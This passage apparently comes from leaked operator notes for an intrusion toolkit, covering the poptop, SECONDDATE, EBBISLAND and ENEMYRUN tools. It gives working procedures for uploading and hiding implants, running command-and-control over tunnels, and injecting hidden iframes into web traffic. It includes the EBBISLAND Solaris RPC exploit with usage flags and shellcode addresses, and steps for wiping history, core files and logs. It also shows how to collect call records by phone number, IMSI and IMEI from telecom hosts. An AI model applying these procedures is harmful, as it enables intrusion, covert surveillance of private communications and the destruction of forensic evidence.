10175### Window 1: Nopen Window - Setup tunnel to dude telnetting to
10176-tunnel
10177l 2323 DUDE 23
10178
10179### Window 2: Local scripted window - Use spawn to be your telnet client
10180### The window will look kinda funny with debug telnet negotiation stuff
10181### going by, and you'll see the typed password in the clear...get over it
10182spawn.v3 127.0.0.1 2323 telnet
10183<login as usual, unsets, blah blah...>
10184
10185### Window 3: Local window: prep poptop/noserver
10186cp TARGNOSERVER /current/up/nscd
10187cp TARGPOPTOP /current/up/crond
10188compress nscd crond
10189uuencode nscd.Z nscd.Z > nscd.uu
10190uuencode crond.Z crond.Z > crond.uu
10191
10192### Window 2: Accept files for upload
10193uudecode
10194--p /current/up/nscd.uu
10195uudecode
10196--p /current/up/crond.uu
10197uncompress nscd.Z crond.Z
10198
10199### Window 2: Run Nopen and poptop
10200chmod 700 nscd crond
10201PATH=. D=-lPORT nscd
10202PATH=. crond
10203
10204### 1st prompt for "arg" is port
10205PORT
10206
10207### 2nd prompt for "arg" is file descriptor, use 0 for stdin
102080
10209
10210### Should now get a line saying "tty is setup"
10211
10212### Window 4: Local scripted window: setup for Nopen connect
10213noclient -l 8080
10214
10215### Window 2: type "---" and hit enter, should
10216### have a connection in your noclient window then
10217---
10218
10219### Window 4: To get multiple windows on target, will need use this window
10220### as a -tunnel window, and tunnel to yourself over loopback
10221### And oh yeah, remove the binaries
10222-rm crond nscd
10223-tunnel
10224l PORT 127.0.0.1
10225
10226### In other scripted windows
10227noclient 127.0.0.1:PORT
10228
10229### Do whatever you need to do...
10230
10231### When all done...
10232-burnBURN
10233
10234### Window 2: this window will now probably go nuts, ^C will
10235### take you back to your op box shell prompt, and officially
10236### close your telnet connection (see connection close in your
10237### Window 1 -tunnel window).
10238### Note that there will be another log entry put into
10239### wtmp that cannot be toasted away, should not be seen by admins though...
10240
10241EOF
10242###
10243### END File user.tool.poptop.COMMON
10244### (see also ../etc/user.tool.poptop.COMMON)
10245
10246###
10247### BEGIN File user.tool.seconddate.COMMON (see also ../etc/user.tool.seconddate.COMMON)
10248###
10249
10250# SECONDDATE
10251
10252:syntax on
10253
10254#########
10255# SET UP
10256#########
10257
10258# get tasking directories and put them on media
10259# check op plan for correct tasking date
10260/projects/web_proxy_tasking/to_lowside/YYYYMMDD/YYYYMMDD.HH.MM.SS-IP_ADDRESS
10261
10262# copy and extract binaries to /current/bin
10263mz
10264cp /mnt/zip/seconddate_tools.tar /current/bin
10265cd /current/bin
10266tar xvf /seconddate_binaries.tar
10267
10268# copy tasking directories to /current/bin/sd and extract
10269cp -r /mnt/zip/TASKING /current/bin/sd
10270cd /current/bin/sd
10271
10272
10273# copy the SECONDDATE command and control binary to each tasking directory
10274# the rules are set by relative path;
10275# the command and control binary needs to be in the same path as the inject and regex files
10276# tasking directory name format: YYYYMMDD.HH.MM.SS-IP_ADDRESS
10277# inject tag name format: YYYYMMDDHHMMSS-IP_ADDRESS-inject-<number>.bin
10278# regex file name format: YYYYMMDDHHMMSS-IP_ADDRESS-regex-<number>.bin
10279
10280cp /current/bin/sd/1.1.1.1/Binaries/Seconddate_CnC /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS
10281
10282
10283#################
10284# PREP COMMANDS
10285#################
10286
10287# all commands to run at local Seconddate_CnC prompt are in commands.txt
10288# you should have already copied it here:
10289# /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS/commands.txt
10290cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS
10291
10292egrep "disable" commands.txt > disable.txt
10293egrep "rule" commands.txt | egrep -v "showrule --all" > rules.txt
10294egrep "enable" commands.txt > enable.txt
10295
10296# open command files in gedit text editor; xemacs works too; vi doesn't work
10297gedit disable.txt &
10298# open the other files rules.txt and enable.txt
10299
10300
10301####################
10302# CONNECT TO IMPLANT
10303###################
10304
10305# local_port - listen on this port locally; i.e. the ops box; pick a random port
10306# target_ip - ip of target that is running SECONDDATE to which you want to connect
10307# target_port - port to which you'll connect to target; can be the same as local_port
10308
10309mx
10310:%s/LOCAL_UDP_PORT/LOCAL_UDP_PORT/g
10311:%s/TARGET_IP/TARGET_IP/g
10312:%s/TARGET_UDP_PORT/TARGET_UDP_PORT/g
10313`x
10314
10315# set up UDP tunnel from redirector; won't work locally on target box
10316# u <random_local_port> <target_ip> <random_target_port>
10317-tunnel
10318u LOCAL_UDP_PORT TARGET_IP TARGET_UDP_PORT
10319
10320# in locally scripted window
10321# run CnC
10322# ./Seconddate_CnC 127.0.0.1 <udp tunnel port>
10323cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS
10324./Seconddate_CnC 127.0.0.1 LOCAL_UDP_PORT
10325
10326# run command
10327ping
10328# should recieve an 'OK'
10329
10330# if you can't get an OK, the target may have rebooted; tool only runs in memory
10331# connect to the target via -irtun and check to see if SECONDDATE is running
10332# if it's not running you need to deploy
10333ps -ef | grep IMPLANT_FILENAME
10334
10335cd /dev; ps -ef | grep IMPLANT_FILENAME
10336
10337
10338##############
10339# RUN COMMANDS
10340#############
10341
10342# help menu
10343?
10344 #or
10345help
10346
10347# do these first
10348ping
10349# synopsis of rules and injects
10350getinfo
10351# check rule log
10352getlog
10353
10354# show all rules
10355showrule --all
10356
10357# have gedit window with rules commands available
10358# if you still have gedit open with the commands files, go to the disable commands section below
10359# if you closed it after setup, reopen the commands files with gedit
10360# command files you previously set up are here including the commands.txt file:
10361# /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS
10362# open command files in gedit text editor; xemacs works too; vi doesn't work
10363cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS
10364gedit disable.txt &
10365# open the other files rules.txt and enable.txt from within gedit
10366
10367# run disable commands only for enabled rules you know are going to change
10368# otherwise, disable all of the rules
10369# disable commands are in the file disable.txt
10370
10371# clear log only if instructed to do so
10372# will fail if any rules are enabled
10373clearlog
10374
10375# set rules; make sure the rules in rules.txt match what is on target
10376# rule commands are in the file rules.txt
10377
10378# enable rules; watch for "Enabled: yes" in each rule displayed
10379# enable commands are in the file enable.txt
10380
10381# show all rules
10382showrule --all
10383
10384# check for empty rule enabled:
10385getinfo
10386
10387# if the matches/hits/injects are increasing rapidly, then you probably enabled an empty rule
10388# find the emtpy rule that's enabled
10389getlog
10390
10391# look for the rule that has the most hits
10392# disable it and display it with showrule
10393
10394# done
10395exit
10396
10397# copy script files
10398# when finished with locally scripted window, type exit, or type CTL-D only once
10399# this reveals the name of the script file
10400cp script.<some_number> script.<target_ip>.seconddate.log
10401# you can remove the original script if you like
10402
10403
10404
10405#########
10406# DEPLOY
10407#########
10408
10409# if the target box rebooted, you'll have to deploy the tool
10410# connect via -irtun
10411
10412# hidden_dir - hidden directoy on the target
10413# INCISION targets will have a manually created hidden directory
10414# STOICSURGEON targets can run SECONDDATE from the STOICSURGEON directory
10415# sd_binary _path - where the SECONDATE binaries are lcoated on the ops box:
10416# /current/bin/sd/1.1.1.1/Binaries
10417# implant_filename - what you want to call the SECONDDATE binary on target
10418
10419mx
10420:%s:HIDDEN_DIR:HIDDEN_DIR:g
10421:%s/SD_BINARY_PATH/SD_BINARY_PATH/g
10422:%s/IMPLANT_FILENAME/IMPLANT_FILENAME/g
10423`x
10424
10425# INCISION targets; skip if STOICSURGEON
10426# create hidden directory on linux target if you don't have one already
10427# mkdir -p /tmp/.<name_of_dir_to_hide>; __HMODE__=enable touch /tmp/.<name_ofdir_to_hide>
10428# try to use a drectory name that blends in on teh target
10429# example:
10430# mkdir -p /tmp/.orbit561; __HMODE__=enable touch /tmp/.orbit561
10431mkdir -p HIDDEN_DIR; __HMODE__=enable touch HIDDEN_DIR
10432
10433# make sure the directory was created
10434-ls HIDDEN_DIR
10435
10436# make sure the directory is hidden
10437# you should not see the hidden directory
10438cd /dev; ls -al HIDDEN_DIR
10439
10440# cd to hidden directory
10441# STOICSURGEON targets can run SECONDDATE from the STOICSURGEON directory
10442# INCISION targets run from hidden directory
10443# -cd /tmp/.orbit561
10444-cd HIDDEN_DIR
10445
10446# put up tool
10447# -put <tool_location_opsbox> <tool_name_on_target>
10448# example
10449# -put /current/bin/sd/1.1.1.1/Binaries/Seconddate_Implant crond
10450-put SD_BINARY_PATH IMPLANT_FILENAME
10451
10452
10453##################
10454# START SECONDDATE
10455##################
10456
10457# look for setsid
10458which setsid
10459# or
10460locate setsid
10461
10462# run:
10463setsid /bin/bash -c 'PATH="." crond' > /dev/null 2>&1 &
10464
10465# or, if there's no setsid
10466# -shell
10467# PATH=. crond
10468-shell
10469PATH=. IMPLANT_FILENAME
10470# Ctrl-D to get out of shell and get your NOPEN prompt
10471# be careful
10472
10473# if there's no setsid, get noserver pid (parent of nopen pid)
10474# you'll have to kill the root noserver later when getting off target
10475# i.e. the parent pid of the nopen window you're in
10476-pid
10477
10478# INCISION targets make sure it's hidden
10479# annotate pid of running implant in your opnotes
10480# cd /dev; ps -ef | grep crond
10481cd /dev; ps -ef | grep IMPLANT_FILENAME
10482
10483# remove implant
10484# -rm crond
10485-rm IMPLANT_FILENAME
10486
10487# in locally scripted window
10488# run CnC
10489./Seconddate_CnC 127.0.0.1 LOCAL_UDP_PORT
10490
10491# help menu
10492help
10493
10494# ping
10495ping
10496
10497
10498###############
10499# LEAVE RUNNING
10500###############
10501# may want to leave implant running and come back later
10502# if implant is left running exit from the CnC tool
10503exit
10504
10505# check lastlog for reboot frequecy
10506last -100 | egrep "hutdow|eboo"
10507
10508# INCISION targets make sure the running implant is hidden
10509# cd /dev; ps -ef grep <implant_filename>
10510cd /dev; ps -ef grep IMPLANT_FILENAME
10511
10512
10513###########
10514# UNINSTALL
10515###########
10516# to stop running implant in preparation for leaving target box
10517# in local CnC window that's scripted, uninstall the implant
10518uninstall
10519
10520# in NOPEN window
10521# check process list; make it's not hung; if hung, kill it
10522kill -9 <implant_pid>
10523
10524
10525##########
10526# FINISHED
10527##########
10528# getting ready to get off the target
10529# to burn or not to burn?
10530# read all lof the following before getting off target
10531# if you're not leaving the implant running after getting off the target:
10532# - make sure you uninstall the implant as stated above
10533# - ensure it not hung; if so, kill it
10534# - then burn
10535#
10536# if you're on target under a noserver that did not spawn the implant
10537# process you may burn, i.e. the implant process is not the child
10538# of the noserver process
10539#
10540# if you ran the implant using 'setsid', you may also burn:
10541-burn
10542
10543# if you ran the implant under your present noserver and wish to leave it
10544# running, you need to make sure the implant continues when done with target
10545# if there was no 'setsid' on the target box when you ran the implant:
10546# - kill the noserver that is listening under which you started the implant
10547# if you burn in this case the implant process will be killed
10548kill -9 <noserver_pid>
10549
10550# - use "-exit" to get out of all nopen windows
10551-exit
10552
10553# check your connection to the implant from the redirector next to the
10554# target running the implant
10555# run a few commands
10556ping
10557getinfo
10558
10559# if connection is OK then you're done
10560ping
10561# should recieve an 'OK'
10562
10563# if you can't connect to the implant
10564# get back up on target and check to see if implant is still running
10565# if the implant is not running you may have missed something when running
10566# the implant or disconnecting
10567# put it back up and run it again
10568# if you can't connect and the implant is running try troubleshooting
10569# the ports you're using
10570
10571# copy script files
10572# when finished with locally scripted window, CTL-D only once
10573# this reveals the name of the script file
10574cp script.<some_number> script.<target_ip>.seconddate.log
10575# you can remove the original script if you like
10576
10577
10578
10579
10580#///////////////////////////////
10581# TASKING BY HAND - THE OLD WAY
10582#//////////////////////////////
10583
10584#############
10585# INJECT FILE
10586#############
10587# configure inject file
10588# you will need to have a file containing the data for the inject packet
10589# first the http info:
10590# then the tag followed by 2 carriage retruns
10591# example
10592<inject_file_begin>
10593HTTP/1.1 200 OK
10594Pragma: no-cache
10595Content-Type: text/html
10596Cache-Control: no-cache,no-store
10597
10598<html><meta http-equiv="refresh" content="0"><body><iframe src="<REPLACE_WITH_URL_TO_USE>"height="1" width="1" scrolling="no" frameborder="0" unselectable="yes"marginheight="0" marginwidth="0"></iframe></body></html>
10599
10600<inject_file_end>
10601
10602#####################
10603# REGULAR EXPRESSIONS
10604#####################
10605# regular expression file
10606# needed to pass to implant as argument when using regex in a rule
10607# can't have any carriage returns or newlines in the file
10608# it must only contain the characters relative to the regex
10609# use vi or echo:
10610vi -b -c "set noeol" <filename>
10611# or
10612echo -n <regex> > <filename>
10613
10614#######
10615# RULES
10616#######
10617# set rule
10618# rule 1 --srcaddr <target_network_address> --srcmask 255.255.255.0 --dstport 80 --maxinjections 10 --injectwindow 600 --nocheckregex --injectfile pkt
10619# examples:
10620rule 1 --dstport 80 --maxinjections 2 --injectwindow 600 --regexfile <regex_file_1> --injectfile pkt
10621rule 2 --dstport 80 --maxinjections 2 --injectwindow 600 --regexfile <regex_file_2> --injectfile pkt
10622
10623# showrule
10624showrule 1
10625# to show all rules you'll have to wait a bit
10626# the tool will iterate through all 64 whether emtpy or not
10627
10628# enable rule(s)
10629# you have to enable them individually
10630enable rule 1
10631
10632# check for hits
10633getinfo
10634
10635# check log
10636getlog
10637
10638# when done disable rules
10639disable 1
10640
10641# get last dump of log
10642getlog
10643
10644# clear log
10645clearlog
10646
10647
10648###
10649### END File user.tool.seconddate.COMMON
10650### (see also ../etc/user.tool.seconddate.COMMON)
10651
10652###
10653### BEGIN File user.tool.ebbisland.COMMON (see also ../etc/user.tool.ebbisland.COMMON)
10654###
10655
10656EBBISLAND
10657(Exploit for Solaris 2.6, 2.7, 2.8, 2.9 and 2.10)
10658
10659First ensure that the vulnerable rpc service(bootparam) is running. You must
10660be able to reach the target system's TCP port that the designated target RPC
10661is listening upon.
10662
10663Example
10664$ rpcinfo -p <target system>
10665 program vers proto port service
10666 100000 4 tcp 111 rpcbind
10667 100000 3 tcp 111 rpcbind
10668 100000 2 tcp 111 rpcbind
10669 100000 4 udp 111 rpcbind
10670 100000 3 udp 111 rpcbind
10671 100000 2 udp 111 rpcbind
10672 100232 10 udp 32772 sadmind
10673 100083 1 tcp 32771
10674 100221 1 tcp 32772
10675 100068 2 udp 32773
10676 100068 3 udp 32773
10677 100068 4 udp 32773
10678 100249 1 tcp 32782
10679 100026 1 udp 32800 bootparam
10680 100026 1 tcp 32790 bootparam
10681**********************************************************************************************
10682EBBISLAND USAGE.
10683
10684ebbisland: (-A <address>) Shellcode address
10685
10686ebbisland: (-C) /core file overwriter/scrambler. This option throws the attack, but uses pseudo-random binary data in place of the actual shellcode, to produce a /core file free of suspicious content. This would be used in the case where EBBISLAND failed to successfully exploit the target, and the operator wanted to try and "purify" the file left in /core before quitting.
10687
10688ebbisland: (-c <procnum>) Procedure number. Defaults to 0.
10689
10690ebbisland: (-D) For and extra dummy connection
10691
10692ebbisland: (-N) Use for non-inetd started services (i.e. rpc.bootparamd)
10693
10694ebbisland: (-M <mtu>) Choose size of data part of packet to send. Default is 1260. This could effect the landing zone size.
10695
10696ebbisland: (-P <prog>) Optional prog to exec, re-using exploit socket.
10697
10698ebbisland: (-r <prognum>) RPC program number
10699
10700ebbisland: (-s <source port>)
10701
10702ebbisland: (-V) Provides verbose outputs, where appropriate and desired.
10703
10704ebbisland: (-X | -F) -X For indirect/xdr_replymsg programs, and -F for others
10705
10706*******************************************************************************************
10707Table of Exploit addresses for rpc.bootparamd (SPARC)
10708
10709100026 rpc.bootparamd 2.6 -X -N 0x641a0
10710
10711100026 rpc.bootparamd 2.7 -X -N (earlier) 0x65798
10712100026 rpc.bootparamd 2.7 -X -N (earlier) 0x6d8d8
10713
10714100026 rpc.bootparamd 2.8 -X -N 0x7c760
10715100026 rpc.bootparamd 2.9 -X -N 0x6e908
10716
10717100026 rpc.bootparamd 2.10 -X -N 0x68318
10718
10719*********************************************************************************************
10720
10721Redirector:
10722
10723-tunnel
10724l <RHP> <TARGET IP> <BOOTPARAM_TCP_PORT>
10725
10726Example:
10727l 32794 10.40.1.2 32790
10728
10729Exploit:
10730./ebbisland -t <REDIRECTOR_IP> -p <REDIRECTOR_PORT> -r <TARGET_RPC.BOOTPARAMD_PROGRAMNUMBER> -X -N -A <SPECIFIC_SHELLCODE_ADDRESS>
10731
10732Example against Solaris 2.9:
10733./ebbisland -t 127.0.0.1 -p 32794 -r 100026 -X -N -A 0x6e908
10734
10735**********************************************************************************
10736Exploit will provide ROOT shell access.
10737
10738unset HISTSIZE
10739unset HISTFILESIZE
10740unset HISTFILE
10741w
10742pwd
10743id
10744which uudecode uncompress
10745cd /tmp
10746mkdir .scsi
10747cd .scsi
10748
10749# locally
10750packrat RAND_PORT
10751<ctrl><c> # packrat command
10752gedit /current/up/sendmail.Z.uu
10753
10754
10755# Target
10756/usr/bin/uudecode; ls -latr
10757select all/copy gedit contents into Target exploit window
10758uncompress sendmail.Z
10759ls -l
10760chmod 700 sendmail
10761PATH=. sendmail
10762
10763
10764# from redirector
10765-nstun TARGET_IP (EnJOY)
10766
10767
10768*******************************************************************************
10769
10770CLEANING.
10771
10772 * The correct EBBISLAND attack for the remote target architecture must be used, or else the attack will fail, and the chosen TCP RPC daemon
10773will likely (1) abort and /core dump, and (2) log heavily. If this should occur, a /core file will be left on the remote system. This /core file
10774will contain our attack data buffers, including "shellcode". The technique could then be reverse engineered and developed into an attack. That's
10775why we have the '-C' option...please rerun the attack, and generate 1 more /core file, containing our semi-innocuous pseudo-random shellcode data.
10776
10777
10778# Logging considerations: Quite a few log messages will be generated on the target as each subsequent attack attempt fails, most likely written to the /var/adm/messages file. These could include messages similar to...
10779
10780Sep 27 14:37:23 target inetd[146]: [ID 858011 daemon.warning] /platform/SUNW,Ultra-Enterprise-10000/lib/dr_daemon: Illegal Instruction
10781Sep 27 14:37:24 target dr_daemon[23501]: [ID 629332 daemon.notice] dr_daemon attempting AP interaction
10782Sep 27 14:37:24 target dr_daemon[23501]: [ID 264428 daemon.error] ld.so.1: dr_daemon: fatal: libap.so: open failed: No such file or directory
10783Sep 27 14:37:24 target dr_daemon[23501]: [ID 355200 daemon.error] dr_daemon operating in NO AP interaction mode
10784Sep 27 14:37:24 target dr_daemon[23501]: [ID 309875 daemon.notice] NOTICE: recovered old state file '/tmp/.dr_extra_info'
10785Sep 27 14:43:10 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Illegal Instruction - core dumped
10786Sep 27 14:43:11 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Segmentation Fault - core dumped
10787Sep 27 14:43:13 target last message repeated 1 time
10788Sep 27 14:43:14 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Illegal Instruction - core dumped
10789Sep 27 14:43:15 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Segmentation Fault - core dumped
10790Sep 27 14:43:17 target last message repeated 2 times
10791Sep 27 14:43:55 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Illegal Instruction - core dumped
10792Sep 27 14:43:56 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Bus Error - core dumped
10793Sep 27 14:43:57 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Segmentation Fault - core dumped
10794
10795###
10796### END File user.tool.ebbisland.COMMON
10797### (see also ../etc/user.tool.ebbisland.COMMON)
10798
10799###
10800### BEGIN File user.tool.enemyrun.COMMON (see also ../etc/user.tool.enemyrun.COMMON)
10801###
10802
10803##################
10804#### ENEMYRUN ####
10805##################
10806
10807## copy and paste this into the window if you want syntax highlighting:
10808## it makes scripts a bit easier to read
10809
10810:syntax on
10811
10812
10813##############
10814## ER SETUP ##
10815##############
10816
10817##
10818## only get an encryption key value, if you don't already have one, ask first
10819##
10820#md5sum /current/down/tcpdump.raw
10821
10822##
10823## vi Search/Replace commands:
10824## projectName - self explanatory, all CAPS
10825## date field - today's date, used for output files
10826## hostname.ip - hostname of the box and IP address exactly as displayed in nopen window title bar
10827## or as seen in /current/down
10828## cryptkey - encryption key (already have one, or use output from below md5sum command)
10829##
10830
10831mx
10832:%s/PROJECTNAME/PROJECTNAME/g
10833:%s/DDMonYY/DDMonYY/g
10834:%s/HOSTNAME.IP/HOSTNAME.IP/g
10835:%s/CRYPTKEY/CRYPTKEY/g
10836'x
10837
10838
10839##
10840## copy the ER directory "er_PROJECTNAME" from the project's /targets/<proj_name>/sustained directory
10841## to /current/down and make sure there are no tarballs in /current/down
10842##
10843
10844mz
10845cp -r /mnt/zip/er_PROJECTNAME /current/down
10846cd /current/down/er_PROJECTNAME
10847uz
10848
10849##
10850## save the encryption key locally in /current/down
10851## whether you have a new or old key:
10852##
10853
10854echo CRYPTKEY > /current/down/cryptkey.enemyrun.DDMonYY
10855
10856## copy key to ER directory if creating a new key
10857
10858echo CRYPTKEY > /current/down/er_PROJECTNAME/cryptkey.enemyrun.DDMonYY
10859
10860
10861##
10862## implant hidden directory for script commnads
10863## location is implant dependent
10864## INCISION:
10865## Solaris - /platform/SUNW,SystemEngine/kernel/drv
10866## Linux - (hidden independently; check old opnotes)
10867## STOICSURGEON: (hidden directory is displayed at beginning of FTSHELL/ish callback)
10868## no trailing /
10869##
10870
10871mx
10872:%s:IMPLANT_HIDDEN_DIRECTORY:IMPLANT_HIDDEN_DIRECTORY:g
10873'x
10874
10875##
10876## prepare files containing numbers to search for:
10877## if files containing the numbers to search available:
10878##
10879
10880mkdir /current/down/argfiles
10881cd /current/down/argfiles
10882mz
10883cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles
10884ls -altr
10885
10886##
10887## prep the argfiles:
10888## make sure the files are ASCII and contain NO EMPTY LINES!!
10889## make sure the last line does not contain a null character at the end
10890## (vi the file, add a carriage return to the last line, then delete the empty
10891## line and save)
10892## "file" results:
10893## this will not work: ASCII text, with CRLF line terminators
10894## this WILL: ASCII text
10895##
10896
10897cat arg*
10898file arg*
10899dos2unix arg*
10900file arg*
10901
10902##
10903## if no data media is provided:
10904## locally, create a file of numbers to grep for with each number on a separate line
10905## make sure there are NO EMPTY LINES!!!!
10906## Format of each type of argument:
10907## p123456789 - phone number
10908## s123456789 - IMSI
10909## e123456789 - IMEI
10910## c123/456 - Cell/LAC (no leading 0's)
10911##
10912
10913cd /current/down/argfiles
10914vim /current/down/argfiles/argfile1.txt
10915
10916##
10917## encrypt argfiles / target files
10918##
10919
10920## encrypt the ascii list...first make sure you have the encryption tool:
10921
10922which cryptTool.v1.0.Linux2.4.18-14.targetdl
10923
10924
10925## if cryptTool not in PATH, change your PATH or insert full path in command
10926## to encrypt one at a time...skip to next comment to encrypt all at once:
10927
10928cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b
10929cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b
10930
10931## to encrypt all at the same time:
10932
10933for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done
10934
10935ls -l
10936file argfile*.enc
10937
10938
10939##
10940## on target look at CDR directories:
10941## - use the following commands to determine the location of current CDR data storage
10942## - once you identify the location of the data, you'll use the head/tail commands
10943## to determine the date ranges being saved
10944## - these date ranges will be used as settings in the ER configuration file(s)
10945##
10946
10947##
10948## typical file locations per host:
10949##
10950
10951######################### aromaseal:
10952
10953
10954######################### desertvista:
10955
10956-lt /var/archive/output_billing
10957-vget /var/archive/output_billing/MoveData.sh
10958
10959
10960######################### diamondaxe:
10961
10962
10963########################## editionhaze:
10964## billing02 10.100.10.140
10965ls -latr /d08/saba/CDR/out/MS* | head -10
10966ls -latr /d08/saba/CDR/out/MS* | tail -10
10967ls -latr /d08/saba/CDR/out/MS* | wc -l
10968
10969
10970########################## liquidsteel:
10971
10972
10973########################## serenecosmos:
10974
10975ls -latr /var/opt/archive/tape/*/*_S_*.gz | head -10
10976ls -latr /var/opt/archive/tape/*/*_S_*.gz | tail -10
10977
10978
10979########################## sicklestar:
10980
10981## magnum: CURSEHAPPY not working on all SS .usd files :-(
10982## Try these first, should be all of them in one spot
10983ls -latr /usd_archive/mc_storage/*usd | head -10
10984ls -latr /usd_archive/mc_storage/*usd | tail -10
10985
10986## if none in previous ones...
10987ls -latr /sys1/var/billing/out_coll/*usd | head -10
10988ls -latr /sys1/var/billing/out_coll/*usd | tail -10
10989ls -latr /sys1/var/alcatel/out_coll/*usd | head -10
10990ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10
10991
10992ls -latr /sys1/var/billing/msc_is2 | tail -20
10993
10994
10995######################### qualitygel:
10996
10997
10998########################## wholeblue:
10999## tpmw01 10.3.4.55
11000## tpmw02 10.3.4.56
11001
11002## verifies isb, khi, and lhr directories:
11003ls -ld /tp/med/datastore/collect/siemens_msc_*
11004ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr
11005ls -ld /tp/med/archive/collect/siemens_msc_*
11006ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr
11007
11008## shows oldest and newest files in directories:
11009ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10
11010ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10
11011ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10
11012ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10
11013ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10
11014ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10
11015
11016ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10
11017ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10
11018ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10
11019ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10
11020ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10
11021ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10
11022
11023ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10
11024ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10
11025ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10
11026ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10
11027ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10
11028ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10
11029
11030ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10
11031ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10
11032ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10
11033ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10
11034ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10
11035ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10
11036
11037## isbapro1 10.5.7.51
11038## nothing new
11039-lt /u01/product_evdp/evident/data_store/collect
11040ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10
11041ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10
11042ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10
11043ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10
11044ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10
11045ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10
11046ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10
11047ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10
11048
11049-lt /u03/archive/collect
11050## newer stuff
11051ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10
11052ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10
11053ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l
11054## old stuff:
11055ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10
11056ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10
11057
11058
11059#############
11060## COLLECT ##
11061#############
11062
11063##
11064## cd to hidden directory where ENEMYRUN is set up
11065## when in the hidden directory, there could be two subdirectories;
11066## one for a forward instance and one backward (e.g. erf and erb)
11067##
11068
11069-cd IMPLANT_HIDDEN_DIRECTORY
11070
11071##
11072## there should be files in:
11073## er*/aux_*/output/final
11074## and possibly if parsing is occuring:
11075## er*/aux_*/output
11076##
11077
11078-ls -R er*
11079
11080-ls -R IMPLANT_HIDDEN_DIRECTORY/er*
11081
11082##
11083## stop current instances on ENEMYRUN
11084## need name of process ENEMYRUN is running as on target; should be on plan, or check old opnotes
11085## ER_PROCESS_NAME: name under which ENEMYRUN is running on target; try nscd which will look like ./nscd
11086##
11087
11088#ps -ef | grep ENEMYRUN_PROCESS_NAME
11089ps -ef | grep nscd
11090
11091## kill with SIGTERM; if it doesn't work use kill -9
11092## ENEMYRUN_PID: process id under which ENEMYRUN is running on target
11093
11094kill -15 ENEMYRUN_PID
11095
11096##
11097## collect parsed CDRs and logs created from the backward directory
11098## files are encrypted
11099##
11100
11101-get IMPLANT_HIDDEN_DIRECTORY/er*/aux_*/output/final/*
11102
11103-get IMPLANT_HIDDEN_DIRECTORY/er*/logs/final/log*
11104
11105## in a local window make sure you have them all:
11106ls -laR /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/er*
11107
11108
11109##
11110## clean ER directories
11111##
11112
11113## remove parsed CDRs
11114
11115rm -fr IMPLANT_HIDDEN_DIRECTORY/er*/aux_*/output/final/*
11116
11117## remove old logs
11118
11119rm -f IMPLANT_HIDDEN_DIRECTORY/er*/logs/final/log*
11120
